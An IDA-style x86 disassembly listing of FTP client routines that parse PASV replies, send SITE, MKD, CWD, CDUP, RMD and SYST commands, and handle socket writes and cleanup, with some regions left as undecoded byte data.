; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 40684D75h, 0E8004454h, 7780970Ah, 4C48390h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44543068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh,	0E8004455h
		dd 77809626h, 4C48390h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44553468h, 0E8905200h,	778120DDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44542868h
		dd 57E89000h, 83778095h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 5428682Ch, 0E8900044h, 77809516h,	5704C483h
		dd 9621E8h, 0E8905600h,	777FE92Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
		dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 1372E890h, 108B777Fh, 0E8685752h,	90004455h
		dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0A9h, 0E1h
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456AC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456EC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
